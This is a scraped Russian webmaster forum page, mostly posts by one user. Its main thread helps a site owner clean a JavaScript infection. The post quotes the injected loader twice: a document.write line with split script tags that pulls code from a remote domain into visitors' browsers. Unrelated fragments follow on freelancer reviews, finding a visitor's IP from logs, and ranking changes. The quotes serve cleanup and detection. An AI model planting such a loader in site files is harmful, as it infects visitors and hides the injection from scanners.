Garin33

Garin33
Рейтинг
169
Регистрация
31.08.2009

ТС я же ясно написал тебе. Утром сам от такого сайт вычистил. Скачивай на локаль и делай поиск по внутренностям.

Вот тебе пример заразы http://filmxe.ru/counter.js - нижняя строка

document.write('<sc'+'ript type="text/javascript" src="http://pocketbloke.ru/PCI.js"></scri'+'pt>');

Думаю что в самом сайте дело, а не в отдельной странице. Видать плохо "сторонние коды, скрипты" смотрите.

Garin33 добавил 20.08.2010 в 12:30

ТС вирус заражает джава скрипты на хостинге, дописывая себя в конец файла. Пример

document.write('<sc'+'ript type="text/javascript" src="http://pocketbloke.ru/Scroll_Bar.js"></scri'+'pt>');

Скачай двиг, сделай поиск по pocketbloke и удаляй все.

Работал с человеком, вечером заказал - утром уже получил. Скажу прямо был очень удивлен качеством и быстротой исполнения!

Nick_NY:
Тогда еще один вопрос: я знаю, что с этого жуковского заходит постоянно один и тот же человек, как вычислить его ip?

В большинстве cms есть логи, в которых прекрасно видны IP всех посетителей, кол-во заходов, рефер, время пребывания на сайте...

2ip.ru поможет.

Такого диапазона нет, наверняка в этом Жуковске не один провайдер. Только ручками собирать по инет-провайдерам, работающим в городе.

Не сказал бы что ТС надежный - уже долго прогоняет мой сайт по CMS (на мауле темка). Кормит завтраками. То винт полетел, то "вот вот, именно твой прогоняю в данный момент...", и так 2 недели, против обещанных суток.

Один +10, один -10, и три без изменений.

На одном 20->30, по остальным тишина. Главное не упал ).

Всего: 1971